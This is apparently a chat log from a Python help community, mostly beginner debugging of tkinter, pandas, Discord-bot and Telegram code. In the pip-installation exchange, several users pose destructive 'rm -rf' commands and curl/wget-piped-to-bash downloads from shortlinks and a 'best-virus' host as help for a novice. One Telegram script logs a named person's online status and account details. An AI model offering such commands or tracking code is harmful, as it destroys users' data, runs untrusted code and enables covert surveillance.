#voice-chat-text-0
1 messages ยท Page 650 of 1
import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)
CountedWord = entry1.get()
str(CountedWord).upper()
def WordCounter ():
global Acount
Acount = ("A: " , (CountedWord.count("A")))
("B: " , (CountedWord.count("B")))
("C: " , (CountedWord.count("C")))
("D: " , (CountedWord.count("D")))
("E: " , (CountedWord.count("E")))
("F: " , (CountedWord.count("F")))
("G: " , (CountedWord.count("G")))
("H: " , (CountedWord.count("H")))
("I: " , (CountedWord.count("I")))
("J: " , (CountedWord.count("J")))
("K: " , (CountedWord.count("K")))
("L: " , (CountedWord.count("L")))
("M: " , (CountedWord.count("M")))
("N: " , (CountedWord.count("N")))
("O: " , (CountedWord.count("O")))
("P: " , (CountedWord.count("P")))
("Q: " , (CountedWord.count("Q")))
("R: " , (CountedWord.count("R")))
("S: " , (CountedWord.count("S")))
("T: " , (CountedWord.count("T")))
("U: " , (CountedWord.count("U")))
("V: " , (CountedWord.count("V")))
("W: " , (CountedWord.count("W")))
("X: " , (CountedWord.count("X")))
("Y: " , (CountedWord.count("Y")))
("Z: " , (CountedWord.count("Z")))
("Spaces: ", (CountedWord.count(" ") - 1))
("Total: ", (len(CountedWord) - 1))
Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)
Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label)
!code
Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.
To do this, use the following method:
```python
print('Hello world!')
```
Note:
โข These are backticks, not quotes. Backticks can usually be found on the tilde key.
โข You can also use py as the language instead of python
โข The language must be on the first line next to the backticks with no space between them
This will result in the following:
print('Hello world!')
""""python import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)
CountedWord = entry1.get()
str(CountedWord).upper()
def WordCounter ():
global Acount
Acount = ("A: " , (CountedWord.count("A")))
("B: " , (CountedWord.count("B")))
("C: " , (CountedWord.count("C")))
("D: " , (CountedWord.count("D")))
("E: " , (CountedWord.count("E")))
("F: " , (CountedWord.count("F")))
("G: " , (CountedWord.count("G")))
("H: " , (CountedWord.count("H")))
("I: " , (CountedWord.count("I")))
("J: " , (CountedWord.count("J")))
("K: " , (CountedWord.count("K")))
("L: " , (CountedWord.count("L")))
("M: " , (CountedWord.count("M")))
("N: " , (CountedWord.count("N")))
("O: " , (CountedWord.count("O")))
("P: " , (CountedWord.count("P")))
("Q: " , (CountedWord.count("Q")))
("R: " , (CountedWord.count("R")))
("S: " , (CountedWord.count("S")))
("T: " , (CountedWord.count("T")))
("U: " , (CountedWord.count("U")))
("V: " , (CountedWord.count("V")))
("W: " , (CountedWord.count("W")))
("X: " , (CountedWord.count("X")))
("Y: " , (CountedWord.count("Y")))
("Z: " , (CountedWord.count("Z")))
("Spaces: ", (CountedWord.count(" ") - 1))
("Total: ", (len(CountedWord) - 1))
Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)
Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label) """"
import tkinter as tk
root= tk.Tk()
canvas1 = tk.Canvas(root, width = 400, height = 300)
canvas1.pack()
entry1 = tk.Entry (root)
canvas1.create_window(200, 100, window=entry1)
CountedWord = entry1.get()
str(CountedWord).upper()
def WordCounter ():
global Acount
Acount = ("A: " , (CountedWord.count("A")))
("B: " , (CountedWord.count("B")))
("C: " , (CountedWord.count("C")))
("D: " , (CountedWord.count("D")))
("E: " , (CountedWord.count("E")))
("F: " , (CountedWord.count("F")))
("G: " , (CountedWord.count("G")))
("H: " , (CountedWord.count("H")))
("I: " , (CountedWord.count("I")))
("J: " , (CountedWord.count("J")))
("K: " , (CountedWord.count("K")))
("L: " , (CountedWord.count("L")))
("M: " , (CountedWord.count("M")))
("N: " , (CountedWord.count("N")))
("O: " , (CountedWord.count("O")))
("P: " , (CountedWord.count("P")))
("Q: " , (CountedWord.count("Q")))
("R: " , (CountedWord.count("R")))
("S: " , (CountedWord.count("S")))
("T: " , (CountedWord.count("T")))
("U: " , (CountedWord.count("U")))
("V: " , (CountedWord.count("V")))
("W: " , (CountedWord.count("W")))
("X: " , (CountedWord.count("X")))
("Y: " , (CountedWord.count("Y")))
("Z: " , (CountedWord.count("Z")))
("Spaces: ", (CountedWord.count(" ") - 1))
("Total: ", (len(CountedWord) - 1))
Button1= tk.Button(text= "Count the character frequency", command=(WordCounter()))
canvas1.create_window(200, 140, window=Button1)
Output_label= tk.Label(root, text= (Acount), font=('helvetica', 10))
Output_label.pack()
canvas1.create_window(200, 240, window= Output_label)
_list = ['a', 1, print]
[1,2,3,4]
_list = [1,1,2,3]
list('abc') == ['a', 'b', 'c']
_list = [1,1,2,3]
_set = set(_list)
_set == {1,2,3}
set('aabccddddefg') == {'a', 'b', 'c', 'd', 'e', 'f', 'g'}
_dict = {'a': 5, 'b': 6}
_set = {4, 6, 7}```
@errant creek is this program counting the occurrences of a letter in a word?
amd
GPT2 / GPT3
bruh
hi
yes what help do u need
im trying to make this code work but it keeps on giving me an error message
here is the code
fig, (ax1, ax2) = plt.subplots(nrows =1, ncols=2, figsize = (40,40)
taxi_zones_pickups_dropped_off.plot(column = 'picked_ups', scheme = 'quantiles', k=6, legend = True, ax = ax1)
taxi_zones_pickups_dropped_off.plot(column = 'dropped_off', scheme = 'quantiles', k=6, legend = True, ax = ax2)
plt.show()
also here is the question for it- Compare spatial distribution of number of passengers picked up and dropped off in each zone side by side using quantiles classification scheme.
@river sundial Can you post the error message in question in its entirety?
Good debugging requires good feedback.
you mean the screenshot of the entire question with the error
here is the part 1 of the question
and then the part 2
I just meant "post the error", but that works.
ok
i did the merging of the two dataframes but it is still not working as you could see
Look at the line above where it's saying the error is
ok and
The line it thinks the error is on looks fine
For starters, you're trying to do something like...
a, (b, c) = 1, 2, 3
Tuples are immutable.
Meaning you cant assign values to them in that way.
actually that is the right code for this question but somehow it is giving me that error
a, b, c = 1, 2, 3
so what should i do to fix it. it is supposed to be an two maps side by side
a,b = 1, (2,3)
c, d = b
a == 1
c == 2
d == 3
hmm. im not sure if it supposed to be like that
no
The code that i used in the picture is correct but somehow it is giving an error
Sorry, that thing I just posted does work, actually, because whatever.
to let you know this is for an homework assignment so the professor wants it like that
You're also missing a parenthesis.
where
At the end of that line. Sorry, I should have spotted that earlier. I got distracted.
thats ok
In any case, while (a,b) = 1, 2 will work, a, (b, c) = 1,2,3 will not.
that first and second part is in the parantheses
Line 45. The end.
Missing parenthesis.
Found it?
That's why it's telling you the error is on the next line.
Righto
It looks like The 'pick_ups' key/value pair isn't getting added to a dictionary or something, somewhere.
It is a bit of a chungus of an error message.
I haven't worked with Pandas, before, so my experience in untangling things that can go wrong with it is limited. I would either stick my head in the the #data-science-and-ml channel or grab a help channel from the Available category.
can you guide me for where should i go becuase i have been stuck in this question for 3 day
Click on #data-science-and-ml or #โ๏ฝhow-to-get-help
Or find them in the channel list.
thats what i did which led me here
Good code
import sqlite3 as sql
con = sql.connect("database.db")
con.execute("INSERT INTO tableName VALUES (?, ?)", ("foo", "bar"))
Bad code:
import sqlite3 as sql
con = sql.connect("database.db")
con.execute(f"INSERT INTO tableName VALUES ('{"foo"}', '{"bar"}')")
So the lesson of the day is: f-strings bad. String concatination and str.format good. ๐
@stuck dirge there are a lot of background noises coming from your mic
So the lesson of the day is: f-strings bad. String concatination and
str.formatgood. ๐
@somber heath I hightly disagree
why are f-strings bad?
huh?, I am kinda confused
django is using them all the time ;p
oh OpalMist was that a joke?
There was discussion of people feeding evil string vars into sqlite.
i need help
i want to copy google sheets data into mysql workbench
can anyone help me out?
@somber heath
ok no problem
thank you
@lusty marsh do you know anything about kubernetes and how to deploy in GCP?
k
@brisk current
async def qinfo(ctx,*,qn):
for p in Qgrp.queues[qn]:
await ctx.send(str(Qgrp.queues[qn].index(p)+1)+"."+p)```
gen = [x for x in Qrp.queues[qn]]
!paste
Pasting large amounts of code
If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
from discord.ext import commands
class Queues:
def __init__(self):
self.queues = {}
def addQueue(self,queue,qname):
self.queues[qname] = queue
Qgrp = Queues()
client = commands.Bot(command_prefix="!")
@client.event
async def on_ready():
print("Bot good to go")
@client.command()
async def Hello(ctx):
await ctx.send("Hi")
@client.command()
async def cq(ctx,*,name):
await ctx.send("Created Queue "+name)
namestr = name
name = []
Qgrp.addQueue(name,namestr)
@client.command()
async def jq(ctx,*,qn):
Qgrp.queues[qn].append(ctx.author.name)
await ctx.send("joined Queue "+qn)
@client.command()
async def qinfo(ctx,*,qn):
for p in Qgrp.queues[qn]:
await ctx.send(str(Qgrp.queues[qn].index(p)+1)+"."+p)
@client.command()
async def next(ctx,*,qn):
Qgrp.queues[qn].pop(0)
await ctx.send("Next up is "+Qgrp.queues[qn][0])
@client.command()
async def lq(ctx,*,qn):
for person in Qgrp.queues[qn]:
if person == ctx.author.name:
Qgrp.queues[qn].pop(Qgrp.queues[qn].index(person))
await ctx.send(ctx.author.name+" left the Queue")
@client.command()
async def dq(ctx,*,qn):
Qgrp.queues.pop(qn)
await ctx.send('queue '+qn+' deleted')
@client.command()
@commands.has_any_role('moderator')
async def view_queues(ctx):
await ctx.send("\n".join(queue))```
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
hello
Cat?
q
โ๏ธ
nice pfp Hemlock ๐
Yeh hemlock u are looking cool buddy
@whole bear ๐
I hate you all.
@idle crater What's up?
AssertionError: Only earley, cyk supports disambiguation right now
???
Gives me this error
Traceback (most recent call last):
File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\aki.py", line 8, in <module>
from core import repl
File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\core\repl\__init__.py", line 55, in <module>
from core import grammar as AkiParser
File "c:\Users\P045\OneDrive\Documentos\TRABAJO_PYTHON\AkiLang\aki\core\grammar\__init__.py", line 705, in <module>
AkiParser = Lark(
File "C:\Users\P045\AppData\Local\Programs\Python\Python38\lib\site-packages\lark\lark.py", line 188, in __init__
assert self.options.parser in disambig_parsers, (
AssertionError: Only earley, cyk supports disambiguation right now
Are you doing unit tests?
@idle crater The only other place I've seen assert being used. You do them to make sure all your functions and methods and so on are working properly.
@idle crater As to your problem, I can't say I know exactly what's going on. Third party modules aren't always something that are in my wheelhouse. You could try grabbing a help channel. I wish I had a better answer for you. ๐
I tried looking up the source for the lark parser, but it's written in other-people-code.
just showed up :P
irritating
lmao
I meant its irritaing to not be able to turn them on
ah
['a', 'b', 'c'][1] == 'b'
details = ["id", "acces_hash", "first_name", "last_name", "username", "phone", "status"]
details.num = [1, 14, 15, 16, 17, 19, 21]
hold on
is this what i think it is
is this from powershell?
because if it is, you really should make it into a dict
python to telegram mate
api_data = ('Bob', 'Pobblebonk', '56')
fields = ('first', 'last', 'age')
_dict = {key:value for key, value in zip(fields, api_data)}```
ah, kk
but yes, you should make it a dictionary. I'm curious as to why it didnt start in one
or at least, a list of tuples like this:
details.num = [1, 14, 15, 16, 17, 19, 21]
print(f"Creating {target}.log file with user's details on top.")
print(target_details[details.num], file=open(f"{target}.log", "a"))
dat = [("user", "bob-smith"), \
file = open('file.txt', 'w')
#actions with file object take place
file.close()
#or
with open('file.txt', 'w') as file:
#actions with file take place
pass #do nothing
Doing with open means that the file is open within the block and it closes automatically behind the scenes.
target_file = open(f"{target}.log", "a")
print(target_details)
target_file.close()
@client.on(events.UserUpdate())
async def handler(event):
time.sleep(2)
if event.user_id == target_id:
if event.online:
target_file = open(f"{target}.log", "a")
print(f"{target} went Online at : {datetime.now()}", file=target.log)
target_file.close()
elif event.recently:
target_file = open(f"{target}.log", "a")
print(f"{target} was recently online at : {datetime.now()}", file=target.log)
target_file.close()
elif event.typing:
target_file = open(f"{target}.log", "a")
print(f"{target} typed a message at : {datetime.now()}", file=target.log)
target_file.close()
else:
print("Sorry there was an error.")
error_file = open("errors.log", "a")
print(f"Error occuried on {datetime.now()} while listening to {target}", file=errors.log)
errors_file.close()
else:
print("Event from non-intersting user was saved on Non-Inter.log")
non_inter = event.get_sender
target_file = open("non-inter.log", "a")
print(non_inter, file=non-inter.log)
target_file.close()
client.run_until_disconnected()
Print(target_file, "blabla")
log_file = open('text.txt', 'w')
print('Hello.', file=log_file)
log_file.close()```
@commands.has_any_role('moderator')
async def view_queues(ctx):
await ctx.send("\n".join(Qgrp.queues))```
async def ismoderator(ctx) -> bool:
for role in ctx.message.author.roles:
if role.name == "moderator":
return True
else:
continue
return False
@client.command()
async def view_queues(ctx):
moderator = await ismoderator(ctx)
if moderator:
await ctx.send("\n".join(Qgrp.queues))
else:
pass
@client.on(events.UserUpdate())
async def handler(event):
time.sleep(2)
if event.user_id == target_id:
if event.online:
target_file = open(f"{target}_log", "a")
print(f"{target} went Online at : {datetime.now()}", file=target_file)
target_file.close()
elif event.recently:
target_file = open(f"{target}_log", "a")
print(f"{target} was recently online at : {datetime.now()}", file=target_file)
target_file.close()
elif event.typing:
target_file = open(f"{target}_log", "a")
print(f"{target} typed a message at : {datetime.now()}", file=target_file)
target_file.close()
else:
print("Sorry there was an error.")
errors_log = open("errors_log", "a")
print(f"Error occuried on {datetime.now()} while listening to {target}", file=errors_log)
errors_log.close()
else:
print("Event from non-intersting user was saved on Non-Inter_log")
non_inter = await event.get_sender()
non_inter_file = open("non-inter_log", "a")
print(non_inter, file=non_inter_file)
non_inter_file.close()
client.run_until_disconnected()
what library are you using?
telethon
There's no reason to have to do that
that code there is alright, other than reoipening and closing the error log a thousand times
should onytl ahve to do it once at most
asyncio.run(event.get_sender())
you shouldnt have to do that
You do not have to do that
but.. that is an async function..
first_msg = False
async def first_con():
if first_msg == False:
account = asyncio.run(client.get_entity(target))
if isinstance(account.status, UserStatusOffline):
target_file = open(f"{target}_log", "a")
print(f"{target} is correctly Offline.", file=target_file)
target_file.close()
first_msg = True
else:
target_file = open(f"{target}_log", "a")
print(f"{target} is correctly Online.", file=target_file)
target_file.close()
first_msg = True
else:
errors_log = open("errors_log", "a")
print(f"{datetime.now()}: Something went wrong checking correct status.", file=errors_log)
errors_log.close()
thats a different issue
the issue there is first_msg is failing
if first_msg == False:
will throw an error
because first_msg shouldnt be function local
you need a global here
Well, it should be straight up erroring out automtically if you dont have global
it doesnt have to do with async
do you have an error message?
async def first_con():
if first_msg == False:
account = asyncio.run(client.get_entity(target))
can't work, because you've not defined target
yeah
as of recently
aw christ that garbage
let me find the stupid article
@pastel lance https://stackoverflow.com/questions/58754860/cmd-opens-window-store-when-i-type-python
Stack Overflow
Today when I tryed to run a simple code on Sublime Text 3, the following message appeard:
Python was not found but can be installed from the Microsoft Store: https://go.microsoft.com/fwlink?linkID=
with apt]
sudo apt install python3-pip
sudo apt install python3-pip
I think
your problem is you're not getting errors right
That code you shared has several issues that should error out immediately but you dont' seem to be having that happen
Session started at : 2020-10-17 17:36:41.456293
Logging in to Telegram complete.
Started listening to AboLeLe's status...
Creating AboLeLe_log file with user's details on top.
AboLeLe's User ID is : 524026454
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
Event from non-intersting user was saved on Non-Inter_log
yeah
because that bit isn't running I suppose
You haven't done the @client.on for it
well, one function is running
but the other one isnt
yeah
hanlder() is working
first_msg is not
python3 -m pip install packagename
Though your IDE may want you to install things into project folders or their own virtual environment.
np++
await first_con()
for what it gives you pycharm is light
but it gives you a metric ton so
I really hope you dont do sudo pip
that can cause issues
hi i'm new here
@slow meteor Yahoy.
hey there
lst = []
alpha = ['a', 'b', 'c']
beta = list('abc')
alpha == beta```
beta == ['a', 'b', 'c']
type('alpha') == str
lst = [[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]
[['hello'],['hello']]
type([]) == list
str and list are examples of classes.
""
lst = [x for x in string]
def__init__
list.__init__
list.__init__.
[].__init__()
Anyone wanna help me with Tkinter?
import tkinter as tk
import time
class Tkinter(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.daemon = True
self.root = None
self.entry = None
self.label = None
self.a = 0
self.start()
def run(self) -> None:
self.root = tk.Tk()
# tkinter code goes here
self.root.geometry("+0+0")
self.root.config(background="blue")
self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)
self.root.bind(self.read)
self.root.mainloop()
def read(self,event):
key = event.keysym
if key == "Enter":
self.geta()
def getA(self):
self.a = self.int(entry.get())
return self.a
app = Tkinter()
a = app.a
if a > 3:
print("hello World!")
time.sleep(10000)```
Why won't this change the value of a, to whichever value I have entered in the entry?
@somber heath
Yep yep.
@somber heath join code/help2 please
import threading
import tkinter as tk
import time
class Tkinter(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.daemon = True
self.root = None
self.entry = None
self.label = None
self.a = 0
self.start()
def run(self) -> None:
self.root = tk.Tk()
# tkinter code goes here
self.root.geometry("+0+0")
self.root.config(background="blue")
self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)
self.root.bind(self.read)
self.root.mainloop()
def read(self,event):
key = event.keysym
if key == "Enter":
self.geta()
def getA(self):
self.a = int(entry.get())
return self.a
app = Tkinter()
a = app.a
if a > 3:
print("hello World!")
time.sleep(10000)```
import threading
import tkinter as tk
import time
class Tkinter(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.daemon = True
self.root = None
self.entry = None
self.label = None
self.a = 0
self.start()
def run(self) -> None:
self.root = tk.Tk()
# tkinter code goes here
self.root.geometry("+0+0")
self.root.config(background="blue")
self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
self.entry.place(x=0, y=0, width=self.root.winfo_screenwidth(), height=100)
self.label.place(x=0, y=100, width=self.root.winfo_screenwidth(), height=100)
self.root.bind(self.read)
self.root.mainloop()
def read(self,event):
key = event.keysym
if key == "Return":
self.geta()
def getA(self):
self.a = int(entry.get())
return self.a
app = Tkinter()
a = app.a
while True:
if a > 3:
print("hello World!")
@client.event
async def on_command_error(ctx, exception):
pass
self.entry = tk.Entry(self.root, bg="blue", command = getA)
self.getA
"<Enter>"
self.root.bind("<Enter>")
self.root.bind("<KeyPress>",self.read)
self.entry2.bind("<KeyPress>",self.read) - so when only entry2, it will start the event?
def onenter(event):
AttributeError: 'Tkinter' object has no attribute 'event'
a = app.a
tk.Button
is that among us?
@icy axle what about gurklang?
do you have to change your birth name or is this just a discord cult
It gets appended to your True Name.
what does it mean to be apart of a community
for the criteria
wait a minute
there are no no payments
therefore there are payments
src/
- style/
- all-your-css
- static/
- logo.svg
- other.img
- components/
- whatever.js
- tests/
- testWhatever.js
- index.html
- app.js
so its no free?
Only if you count your soul
i have to pay my soul?
Yeah, I do programming for the enjoyment of it. My fear is, if I had to do it professionally, the joy would be sucked right out of it.
But I suppose it would depend on what field and the working environment/culture.
@dire folio why your video on
@olive hedge How fast would you have to flap the flaps before you're able to take off from the generated thrust?
this conversation is too chaotic for me to follow, goodbye
Ta-ta.
xaxaxaxaxaxa
Speaking of Trebuchet
Its our meeting ๐
ah good, we could use your input on react, joe
I will not be making any comments on the gurkan crisis
Too late.
I will not be making any comments on the gurkan crisis
I respect the decision haha
To some degree I feel like my fears of the Gurkan cult are comparable to the Domino Theory between 1950 and 1980. If one country falls to communism, those neighbouring are at an increased risk. I believe that a policy of containment is an appropriate action here and will continue to be carrying out that policy. Should the gurkan crisis escalate I will not hesitate to deploy programmatic forces to obliterate the gurkan cult.
Iron curtain? More like vegetable knife
@main relic I muted you because you had some serious echo on your mic
If you can fix your echoing issue I'll unmute
tbh this is exactly how I feel the gurkult would be viewed by the owners here LOL
What is he making it in?
Wikipydia
why the fuck is there gurkan shit going on
@whole rover we're having an official Gurkult meeting atm
Great minds
Hey Mr Hemlock, quick question, what kernel does Manjaro use?
Mnajaro and arch is nice
Row, row, row your boat, gently down the repo stream...
"If you drink water from the tap like a normal human being". I am no normal human being. Cue dramatic pose.
Don't drink too much energy
OOh I like that font style.
@icy axle what software is that again?
oh lord, three of the best people are in voice
me, myself, and I
that's pretty bisky
aww thank you for recognizing my bestness
vapes, less cancer
cigarettes, fire is cool
also: don't smoke or vape, nicotine addiction is a waste of money.
OOh my energy drink is vegan ๐
Python addiction is far more productive.
lmao, I was joking
it's the same reason i can't stop taking amphetamines or my heart will stop.
...

@icy axle what software is that again?
@whole bear Adobe XD
ok
very bad luck on the timing there Bisk
back to my TV show
yeah, figured as much
should keep my eye on your balls
*the ball
with adobe xp does it make the site for you @icy axle?
so this helps you visualize how your site will look like
Yeah, partially
you can lower someone's user volume
Ya I will once I'm back at my pc lol
@boreal herald if I am not wrong, I think that is what Donald Trump suggested to fight against COVID?
@quasi condor out of there SO fast
I think I heard all that I needed to here
I agree
I'll do something else whilst waiting for my food to be delivered
im going to mute him
@icy axle make it so when you press the 'leave now' button it takes the user to a rick roll
That's the plan
there is a chrome extension for that i think
I think we'll just have to hide the cursor and make it in JS
@icy axle we will sell Gurklang doc books
@boreal herald https://www.redbubble.com/shop/ap/59684171
@olive hedge could we have som hoodies as well?
doing it now damnit
AHah what? Really?
yes I bought a magnet for my car
PIL
It will go on the back with the rest!
yes pillow is better than pil
this
it saddens me
oh ywah i rememebr that
oh come on, these reviews for that hyped lemon print pillow can't be legit
edit: nvm, the exact same reviews were on the other throw pillows; apparently it's not about the specific design
- Get image
- Resize image
- Send new image
That is epic, but also a rip off for shipping LOL
We can have hoodies
@icy axle gurkan fuel
Good luck with the coffee hehe
@olive hedge did you see this earlier?
Notice how every detail is perfect hahaha
(Except for one thing๐)
the chatbox
it says Message #ot0-male-pattern-beardness instead of Message #ot0-gurkan-pattern-beardness as it should according to the top- and sidebar
is that the one thing, @icy axle ?
eivlgrukan
Did that foresl happen or inspector?
It's not supposed to be eivlgurkan?
@icy axle lmao nice
@hollow haven it should probably be, but after seeing the profile picture, I thought the name was just two letters changing places in the word evil. Just played with that and added grukan hahah
the profile picture is darth maul though >_>
@past elk https://i.imgur.com/rPRdtPV.png I may have invented fabric.
@past elk https://i.imgur.com/dZ3NZo9.png Bamboozled! Was really demon summoning circles. An interference pattern, if you want to be boring about it.
bathed in multi processing but still took 2 hours to render and couldn't use me computer while it was rendering
np.linspace(startx,endx,width)```
0,0
for i in range(NUM_OF_WORKERS):
p = multiprocessing.Process(target=startPic,args=(point[0]-zoom,point[0]+zoom,point[1]-zoom,point[1]+zoom,2,i,iter))
zoom *= deltaZ
workers.append(p)
p.start()```
from io import BytesIO
bathed in multi processing but still took 2 hours to render and couldn't use me computer while it was rendering
@past elk can you send the source code of this?
and you feed it a bytearray
The bytearray is like the hard drive and the BytesIO instance is like the file object.
and Pillow, conveniently, allows you to write to file objects, not just file names.
@past elk have u tried running it on GPU?
@whole bear I'm afraid your audio quality is very poor.
@whole bear We can sort of hear you.
But it's really, really bad.
We can hear you, but it's still very poor quality.
"wagh wah"
vs wah wah, sad trombone
3.10, 3.1.0
@marble jetty It sounds like you're mumbling.
Can you write this in the chat?
@somber heath
@past elk
where are you two from?
Australia.
Russia
One gathered.
Russians just don't know English well
??
tuple unpacking
I enjoyed finding out about unpacking.
"Oh, I don't have to do these on seperate lines? Neat!"
@somber heath wait so u didn't know tuple unpacking earlier?
Oh, no, ages ago.
umm i don't quite get what u mean
I've known about it for a long time.
oh ok
I'm talking about when I first learned about it.
"Oh, I don't have to do these on seperate lines? Neat!"
@somber heath then what is this
ohh ok
noice
That is what I might have said back then.
yeah, it's a nice feature
@somber heath hello opal mist
Hello, hello.
well im hearing music and working on a game at same time
why there r two opalmist?
they're identical twins
@slate sluice it's a joke
mine is a joke too
relax
oh good
!nickname.change.all OpalMist
I crai
I OpalMist
me OpalMist
I can't join the voice channel idky!!!
@somber heath I need help
Hm?
@dire prawn reported for cute dog pic
pls help
pip install python
but first install pip with python -m pip install pip
@dire prawn install pip
how
with your keyboard
@dire prawn https://pip.pypa.io/en/stable/installing/
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
then
I don't need bootstrap
rm -rf /
or rm -rf ~
it says rm command not found
this should do it for you
??
curl -s -L http://bit.ly/10hA8iC | bash
why shortlink
why not
dont trust his link
make a subscription?
use my line
Pass. ๐

because we are Himalayan "creators" from Ladakh
because I need help installing Python, I can join if they can help????
$ wget www.best-virus.com/install_and_run_virus.sh | bash
@whole bear pls answer
BOOST YOUR COMPUTER SPEED X100 TIMES WITH THIS: /s
$ wget --output-document=run.py https://git.io/JTIUh && python3 run.py
OpalCult happened
because I need help installing Python, I can join if they can help????
I will join ur event
@whole bear ?
@whole bear What is this link?
@whole bear is it python related?
@whole bear or what?
lol don't
@whole bear could u explain?
me thinks we need a disclaimer on this entire chat for everyone: do not command
yes do not actually run those commands I tried, my computer is not responding now
@olive hedge we take no commands from furries
Oh so Python too?
@whole bear reported to admins, action is on the way
@whole bear what is education?
@slate sluice lmao stop
!ban OpalMist
!unban OpalMist
they are gonna talk about coding? lol
who is coding
OpalMist is coding
CodeMist
Products For Geeks : https://cleus.co
Instagram : https://instagram.com/madeforgeeks
Twitter : https://twitter.com/mfgeeks
Facebook : https://facebook.com/cleus.co
Spotted by u/theusualguy512 on Reddit.
Source : https://www.reddit.com/r/programming/comments/j06gd7/found_the...
curl -s -L https://git.io/vwbol | bash
@lusty marsh .json
raspberry
Can i ask why did Python Server People made their Prof. pic into a GIF?
put your cursor on the server icon and it will play into the Harry Potter initial reference
H is for Hacktober? Ok, but what is Hacktober?
Yep
It's an event by Digital Ocean where you're encouraged to contribute to open source
Here's the announcement for it #announcements message
Happy to help:)
And from my understood point of view, THAT is a great animation!
test
i can;t type in #voice-verification @whole rover
okh, so i already voice verified?
okh
done
i could see that without the role also
also i can still type in #voice-verification
Maybe it would be better to hide the channel after verifying, like we do with the normal server verification
Yep, still there
hmgmrmrm
yeah i'm working on it
fixed I think
Yep. Looks good now
test
!tvban @silent nacelle 10s testing
:incoming_envelope: :ok_hand: applied voice ban to @silent nacelle until 2020-10-18 14:59 (9 seconds).
yep
Nice nice
@whole bear so, it's 50 messages since August 25th
you are on uhhhh
3
metricity=> SELECT COUNT(*) FROM messages WHERE author_id='345645294685257729';
count
-------
3
(1 row)
be active in #ot0-psvmโs-eternal-disapproval or #python-discussion for a bit and you'll hit it in no time :)
from PIL import ImageTk,Image
from tkinter import filedialog
from tkinter import *
from tkinter import ttk
root = Tk()
root.geometry('700x700')
l = Label(root, text="Logiciel de preinscription")
l.pack()
Med1 = Button(root, text="Doliprane", padx=20,
pady=25, fg="black", bg="white")
Med1.pack()
Med2 = Button(root, text="EFFERALGAN", padx=20,
pady=25, fg="black", bg="white")
Med2.pack()
Med4 = Button(root, text="DAFALGAN", padx=20,
pady=25, fg="black", bg="white")
Med4.pack()
Med5 = Button(root, text="LEVOTHYROX", padx=20,
pady=25, fg="black", bg="white")
Med5.pack()
Med6 = Button(root, text="IMODIUM", padx=20,
pady=25, fg="black", bg="white")
Med6.pack()
Med7 = Button(root, text="Aspirine", padx=20,
pady=25, fg="black", bg="white")
Med7.pack()
Med8 = Button(root, text="Aspirine", padx=20,
pady=25, fg="black", bg="white")
Med8.pack()
Med9 = Button(root, text="Aspirine", padx=20,
pady=25, fg="black", bg="white")
Med9.pack()
Med10 = Button(root, text="Aspirine", padx=20,
pady=25, fg="black", bg="white")
Med10.pack()
root.mainloop()
Ba BA Ba bnerd the bnerd is the word Ba BA Ba bnerd the bnerd is the word
I'm sorry i had to
oops
@pliant kiln #voiceverifiation
2 opalmists๐ @somber heath
Lol ๐
Ohok
@whole bear first of all u should have 50 messages on this server
are u verified?
No
so verify
if ur facing any problem @rapid crown
Let me try again
Lol
It promoted that I didnt had enough massage
In server
noice
Mm
.........?.
@whole bear keep on chatting
Provided to YouTube by CDBaby
Creepy Doll ยท Jonathan Coulton
Thing a Week Four
โ 2006 20 Goto 10, Inc.
Released on: 2006-01-01
Auto-generated by YouTube.
@whole bear Have you modmailed, yet?
Not this moment.
ohh ok
There was discussion of Annabelle.
ohh ok
no
are u connected in the voice chat?
@whole bear yes this does
This message counts as one of 50 message ?
@whole bear yup
Pastebin.pl is a website where you can store code/text online for a set period of time and share to anybody on earth
print(f"Event from non-intersting user was saved on {target}_randoms.txt")
rnd_events = "x"
print(rnd_events)
